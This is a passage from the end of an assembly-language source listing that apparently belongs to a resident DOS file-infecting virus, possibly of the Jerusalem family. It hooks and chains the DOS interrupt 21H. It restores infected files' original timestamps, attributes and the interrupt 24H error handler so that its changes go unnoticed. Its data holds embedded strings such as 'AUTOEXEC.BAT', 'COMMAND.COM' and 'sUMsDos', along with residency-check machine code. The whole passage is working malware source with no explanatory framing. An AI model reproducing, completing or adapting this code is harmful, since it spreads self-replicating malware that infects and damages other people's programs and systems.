|
||
|
ASSUME DS:NOTHING
|
||
|
BP0480:
|
||
|
CMP MEM_SW,0 ; Test memory allocated switch
|
||
|
JZ BP0490 ; Branch if off
|
||
|
MOV AH,49H ; Free allocated memory
|
||
|
INT 21H ; DOS service (Free memory)
|
||
|
BP0490:
|
||
|
CMP F_HAND,-1 ; Test file handle
|
||
|
JZ BP0500 ; Terminate if none
|
||
|
MOV BX,F_HAND ; Get file handle
|
||
|
MOV DX,F_DATE ; Get file date
|
||
|
MOV CX,F_TIME ; Get file time
|
||
|
MOV AX,5701H ; Set file date and time
|
||
|
INT 21H ; DOS service (Set file date)
|
||
|
MOV AH,3EH ; Close handle
|
||
|
INT 21H ; DOS service (Close handle)
|
||
|
LDS DX,F_PATH ; Address program pathname
|
||
|
MOV CX,F_ATTS ; Load file attributes
|
||
|
MOV AX,4301H ; Set file attributes
|
||
|
INT 21H ; DOS service (Set attributes)
|
||
|
LDS DX,INT_24 ; Original interrupt 24H address
|
||
|
MOV AX,2524H ; Set interrupt 24H
|
||
|
INT 21H ; DOS service (Set int)
|
||
|
BP0500:
|
||
|
POP ES
|
||
|
POP DS
|
||
|
POP DI
|
||
|
POP SI
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
POPF
|
||
|
JMP INT_21 ; Interrupt 21H
|
||
|
|
||
|
DB 11 DUP (0)
|
||
|
|
||
|
ENDKEEP EQU $
|
||
|
|
||
|
; Stack area - rubbish
|
||
|
|
||
|
DB 04DH, 09BH, 018H, 004H, 000H, 000H, 000H, 000H
|
||
|
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
|
||
|
DB 000H, 001H, 000H, 000H, 000H, 000H, 000H, 032H
|
||
|
DB 000H, 000H, 000H, 02FH, 000H, 0FFH, 0FFH, 0FFH
|
||
|
DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH
|
||
|
DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 043H
|
||
|
DB 03AH, 05CH, 041H, 055H, 054H, 04FH, 045H, 058H
|
||
|
DB 045H, 043H, 02EH, 042H, 041H, 054H, 000H, 061H
|
||
|
DB 075H, 074H, 06FH, 065H, 078H, 065H, 063H, 00DH
|
||
|
DB 000H, 0FFH, 0FFH, 0FFH, 000H, 000H, 000H, 000H
|
||
|
DB 04DH, 09BH, 018H, 000H, 010H, 09AH, 0F0H, 0FEH
|
||
|
DB 01DH, 0F0H, 02FH, 001H, 09BH, 018H, 03CH, 001H
|
||
|
DB 0E9H, 092H, 000H, 073H, 055H, 04DH, 073H, 044H
|
||
|
DB 06FH, 073H, 000H, 001H, 026H, 01CH, 000H, 000H
|
||
|
DB 000H, 074H, 02AH, 0ABH, 000H, 0CDH, 017H, 060H
|
||
|
DB 014H, 09FH, 002H, 056H, 005H, 09BH, 018H, 053H
|
||
|
DB 03AH, 000H, 000H, 000H, 000H, 000H, 000H, 000H
|
||
|
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
|
||
|
DB 000H, 0B5H, 01BH, 080H, 000H, 000H, 000H, 080H
|
||
|
DB 000H, 0B5H, 01BH, 05CH, 000H, 0B5H, 01BH, 06CH
|
||
|
DB 000H, 0B5H, 01BH, 010H, 007H, 0EDH, 014H, 0C5H
|
||
|
DB 000H, 0EDH, 014H, 046H, 002H, 0A1H, 000H, 04DH
|
||
|
DB 05AH, 0F0H, 000H, 0B2H, 000H, 038H, 001H, 060H
|
||
|
DB 000H, 0D3H, 006H, 0FFH, 0FFH, 05EH, 015H, 010H
|
||
|
DB 007H, 084H, 019H, 0C5H, 000H, 05EH, 015H, 01EH
|
||
|
DB 000H, 000H, 000H, 037H, 020H, 02AH, 02AH, 02AH
|
||
|
DB 005H, 000H, 020H, 000H, 030H, 00FH, 000H, 060H
|
||
|
DB 000H, 002H, 010H, 000H, 0E0H, 05BH, 001H, 000H
|
||
|
DB 0B9H, 041H, 02AH, 09BH, 043H, 04FH, 04DH, 04DH
|
||
|
DB 041H, 04EH, 044H, 02EH, 043H, 04FH, 04DH, 001H
|
||
|
DB 000H, 000H, 000H, 000H, 000H, 0FCH, 0B4H, 0E0H
|
||
|
DB 0CDH, 021H, 080H, 0FCH, 0E0H, 073H, 016H, 080H
|
||
|
DB 0FCH, 003H, 072H, 011H, 0B4H, 0DDH, 0BFH, 000H
|
||
|
DB 001H, 0BEH, 010H, 007H, 003H, 0F7H, 02EH, 08BH
|
||
|
|
||
|
ENDADR EQU $
|
||
|
|
||
|
CODE ENDS
|
||
|
|
||
|
END START
|
||
|
|